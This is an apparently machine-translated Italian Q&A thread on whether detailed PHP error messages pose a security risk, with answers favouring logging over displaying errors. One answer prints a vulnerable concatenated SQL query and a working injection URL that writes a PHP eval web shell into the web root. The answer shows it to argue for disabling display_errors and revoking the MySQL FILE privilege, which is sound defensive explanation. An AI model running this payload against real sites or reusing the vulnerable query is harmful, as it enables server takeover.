I messaggi di eccezione/errore dettagliati rappresentano un rischio per la sicurezza?

Question

Attualmente controllo tutte le variabili GET e POST con isset() e generano eccezioni quando isset() restituisce false.

Esempio 1:

if(!isset($_GET['some_var'])) 
    throw new Exception('GET variable [some_var] is not set.'); 

$someVar = $_GET['some_var']; 

Esempio 2:

if(!isset($_GET['some_num'])) 
    throw new Exception('GET variable [some_num] is not set.'); 

if(!ctype_digit($_GET['some_num'])) 
    throw new Exception('GET variable [some_num] is not a number.'); 

$someNum = $_GET['some_num']; 

Nella mia applicazione di produzione Ho un gestore di eccezioni globale che messaggi eccezioni e gli errori in un file di registro e quindi reindirizza a una pagina di scuse generiche.

È una buona pratica? Sono eccezioni descrittive e messaggi di errore come quelli sopra i rischi per la sicurezza (è possibile che un hacker sia in grado di leggere l'avviso di eccezione e quindi utilizzare tali informazioni per manipolare i miei script)?

Grazie!

Answer 1

"è possibile che un hacker sia in grado di leggere l'avviso di eccezione e quindi utilizzare tali informazioni per manipolare i miei script?"

Forse.

In genere, si desidera fornire all'utente la minima quantità di informazioni in una condizione di errore. In questo caso, se dici a qualcuno che non esiste una particolare variabile get, allora potrebbero provare a fornire valori casuali a quella variabile per vedere come si comporta l'app.

Naturalmente, è necessario bilanciare questo con le esigenze dei tuoi utenti reali. Se la variabile è una di cui normalmente avrebbero il controllo, dare la risposta su un problema con il valore è perfettamente accettabile.

UPDATE

Avendo recentemente incorrere in una raffica di API web di che sembrano pensare lanciando messaggi di errore generici è la strada da percorrere voglio aggiornare questo un po '.

È fondamentale che le API Web restituiscano una quantità adeguata di informazioni al sistema di consumo in modo che possano capire cosa c'è che non va e risolverlo.

In un caso recente per un'API di elaborazione dei pagamenti, la loro documentazione era semplicemente sbagliata. I dati delle transazioni di test mostrati sono stati costantemente restituiti con "Errore del server 500" e non abbiamo avuto ricorso, ma per avere uno dei loro sviluppatori al telefono e fare scrupolosamente ogni elemento nel loro XML. Su 50 elementi, solo uno aveva lo stesso nome di quello che era nei loro "documenti dello sviluppatore"
In un'altra integrazione ci è stato dato "Errore server 402". - Questo NON era un gateway di pagamento. Sebbene non abbia mai fatto riferimento ai loro documenti, apparentemente quel messaggio significava che mancava un parametro JSON. Per inciso, era un parametro non referenziato nei loro documenti e di nuovo richiesto tempo con il loro sviluppatore per identificarlo.

In entrambi i casi precedenti sarebbe stato incredibilmente utile se il messaggio di errore avesse risposto con un esempio di un documento valido. Simile al modo in cui i vecchi comandi Unix/DOS tornavano con le informazioni di aiuto quando si passavano parametri errati. Davvero non voglio parlare con altri programmatori.So che il loro tempo è costoso e preferiscono fare qualcosa di diverso da una chiamata di assistenza; ma più che altro, se lavoro alle 22:00 e ho bisogno di una risposta RFN, l'attesa di un programmatore al telefono il giorno dopo è raramente un'opzione.

Answer 2

Visualizzazione di errori dettagliati a un utente può essere un rischio di sicurezza. Poiché in questo caso vengono scritti solo in un file di registro e gli unici dati che l'utente ottiene è una pagina generica che non rivela nulla, puoi essere descrittivo come preferisci e non rivelare nulla a meno che il registro non sia compromesso.

Answer 3

In genere è considerato non sicuro stampare i messaggi di errore di sistema PHP su un server di produzione anziché registrarlo silenziosamente.
Anche se non riesco a trovare nulla di pericoloso nella pagina delle scuse generiche.

Answer 4

Gli errori di registrazione e la soppressione dell'output sono esattamente cosa si dovrebbe fare. segnalazione degli errori può essere brutto ..

In OWASP Top 10 per il 2007 c'è Information Leakage and Improper Error Handling, tuttavia questo è stato rimosso nel 2010. Impostando dispaly_errors=On nel tuo php.ini si diventa vulnerabili alle CWE-200. Il percorso completo della tua applicazione web sarà divulgato all'attaccante. A peggiorare le cose, avendo abilitato la segnalazione degli errori, rende più facile trovare l'iniezione SQL cercando i messaggi di errore sql.

Quando si combinano questo su un PHP/MySQL applicazione è possibile eseguire un gravissimo attacco

$vuln_query="select name from user where id=".$_GET[id]; 

Se

http://localhost/vuln_query.php?id=1 union select "<?php eval($_GET[e])?>" into outfile "/path/to/web/root/backdoor.php" 

che rende questo pieno query:

select name from user where id=1 union select "<?php eval($_GET[e])?>" into outfile "/path/to/web/root/backdoor.php" 

lo farei assicurati che i privilegi display_errors=Off e il file FILE sono stati revocati all'account utente MySQL della tua applicazione web.